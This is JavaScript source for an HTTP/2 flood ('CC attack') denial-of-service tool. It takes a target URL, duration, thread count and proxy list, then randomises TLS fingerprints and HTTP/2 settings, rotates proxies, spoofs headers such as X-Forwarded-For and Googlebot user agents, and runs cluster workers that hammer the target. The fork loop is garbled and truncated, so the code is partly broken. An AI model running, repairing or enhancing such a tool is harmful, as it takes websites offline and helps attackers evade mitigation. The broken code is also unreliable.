const net = require("net"); const http2 = require("http2"); const tls = require("tls"); const cluster = require("cluster"); const os = require("os"); const url = require("url"); const crypto = require("crypto"); const dns = require('dns'); const fs = require("fs"); const { HttpsProxyAgent } = require('https-proxy-agent'); const { SocksProxyAgent } = require('socks-proxy-agent'); // Change this line: const chalk = require('chalk'); // To this: import chalk from 'chalk'; // And you would need to change all other requires to imports // And add "type": "module" to your package.json const { performance } = require('perf_hooks'); // #################### 配置区 #################### const TARGET = process.argv[2]; const DURATION = parseInt(process.argv[3]) * 1000; const REQ_PER_WORKER = parseInt(process.argv[4]); const THREADS = parseInt(process.argv[5]); const PROXY_FILE = process.argv[6]; const MODE = process.argv[7] || 'flood'; // #################### 指纹混淆模块 #################### class FingerprintGenerator { static #greaseValues = ['0a0a', '1a1a', '2a2a', '3a3a']; static generateJA3() { const grease = FingerprintGenerator.#greaseValues[Math.floor(Math.random() * this.#greaseValues.length)]; return [ grease, 'dada', 'c02b', // TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 'c02f', // TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 'cca9', // TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256 'cca8', // TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 '009e', // TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 '0033' // TLS_DHE_RSA_WITH_AES_128_CBC_SHA ].join('-'); } static generateHTTP2Settings() { return { headerTableSize: Math.random() > 0.5 ? 4096 : 6144, enablePush: Math.random() > 0.8, initialWindowSize: 65535, maxFrameSize: 16384 + Math.floor(Math.random() * 1000), maxHeaderListSize: Math.random() > 0.5 ? 32768 : 6144 }; } } // #################### 代理管理模块 #################### class ProxyRotator { constructor(filePath) { this.proxies = fs.readFileSync(filePath, 'utf-8').split('\n').filter(p => p.trim()); this.index = 0; } getNext() { this.index = (this.index + 1) % this.proxies.length; const [host, port, type] = this.proxies[this.index].split(':'); return type === 'socks5' ? new SocksProxyAgent(`socks5://${host}:${port}`) : new HttpsProxyAgent(`http://${host}:${port}`); } } // #################### 攻击核心模块 #################### class CCBot { constructor(target, proxyAgent) { this.target = new URL(target); this.proxyAgent = proxyAgent; this.stats = { requests: 0, errors: 0 }; this.startTime = performance.now(); this.throttle = 50; } async #createSession() { const alpnProtocols = Math.random() > 0.7 ? ['h2', 'http/1.1'] : ['http/1.1']; const socket = tls.connect({ host: this.target.hostname, port: this.target.port || 443, servername: this.target.hostname, ALPNProtocols: alpnProtocols, ciphers: FingerprintGenerator.generateJA3(), secureContext: tls.createSecureContext({ minVersion: 'TLSv1.2', maxVersion: 'TLSv1.3', ciphers: FingerprintGenerator.generateJA3() }), }); socket.setTimeout(3000); return new Promise((resolve) => { socket.on('secureConnect', () => resolve(socket)); socket.on('error', () => resolve(null)); socket.on('timeout', () => socket.destroy()); }); } #generateHeaders() { const base = { 'User-Agent': this.#getUserAgent(), 'Accept': this.#randomAccept(), 'Accept-Language': this.#randomLanguage(), 'Cache-Control': 'no-cache', 'Pragma': 'no-cache', 'X-Forwarded-For': this.#randomIP(), 'Via': `1.1 ${Math.random().toString(36).substring(7)}` }; if(Math.random() > 0.8) { base['Cookie'] = `session=${crypto.randomBytes(16).toString('hex')}`; base['Referer'] = `https://www.google.com/search?q=${crypto.randomBytes(4).toString('hex')}`; } return base; } // #################### 工具函数 #################### #randomIP() { return Array.from({length:4}, () => Math.floor(Math.random()*255)).join('.'); } #getUserAgent() { const agents = [ ...Array(10).fill('Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36'), ...Array(3).fill('Mozilla/5.0 (iPhone; CPU iPhone OS 17_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1'), 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' ]; return agents[Math.floor(Math.random() * agents.length)]; } #randomAccept() { const types = [ 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', 'application/json, text/plain, */*' ]; return types[Math.floor(Math.random() * types.length)]; } #randomLanguage() { const langs = ['en-US,en;q=0.9', 'zh-CN,zh;q=0.8', 'es-ES,es;q=0.7']; return langs[Math.floor(Math.random() * langs.length)]; } // #################### 攻击循环 #################### async attack() { while(performance.now() - this.startTime < DURATION) { const socket = await this.#createSession(); if(!socket) { this.stats.errors++; await new Promise(r => setTimeout(r, 100)); continue; } try { const client = http2.connect(this.target.origin, { createConnection: () => socket, settings: FingerprintGenerator.generateHTTP2Settings() }); client.on('error', () => {}); const interval = setInterval(() => { try { const req = client.request({ ...this.#generateHeaders(), ':path': `${this.target.pathname}?v=${crypto.randomBytes(8).toString('hex')}`, ':method': Math.random() > 0.7 ? 'POST' : 'GET' }); req.on('response', () => {}); req.end(); this.stats.requests++; } catch(e) { this.stats.errors++; } }, this.throttle); client.on('close', () => clearInterval(interval)); } catch(e) { this.stats.errors++; } await new Promise(r => setTimeout(r, this.throttle)); } return this.stats; } } // #################### 集群控制 #################### if(cluster.isPrimary) { const rotator = new ProxyRotator(PROXY_FILE); console.log(chalk.red(` ██████╗ ██████╗ ███████╗██╗ ██████╗ ██████╗ ██████╗ ██╔══██╗██╔════╝ ██╔════╝██║ ██╔═══██╗██╔═══██╗██╔══██╗ ██║ ██║██║ ███╗ █████╗ ██║ ██║ ██║██║ ██║██║ ██║ ██║ ██║██║ ██║ ██╔══╝ ██║ ██║ ██║██║ ██║██║ ██║ ██████╔╝╚██████╔╝ ██║ ███████╗╚██████╔╝╚██████╔╝██████╔╝ ╚═════╝ ╚═════╝ ╚═╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═════╝ `)); for(let i=0; i { console.log(chalk.green(`[Worker ${worker.id}]`), `Requests: ${msg.requests}`, `Errors: ${msg.errors}`, `QPS: ${(msg.requests / (DURATION/1000)).toFixed(1)}` ); }); } else { const proxyRotator = new ProxyRotator(PROXY_FILE); const bot = new CCBot(TARGET, proxyRotator.getNext()); bot.attack().then(stats => { process.send(stats); process.exit(); }); }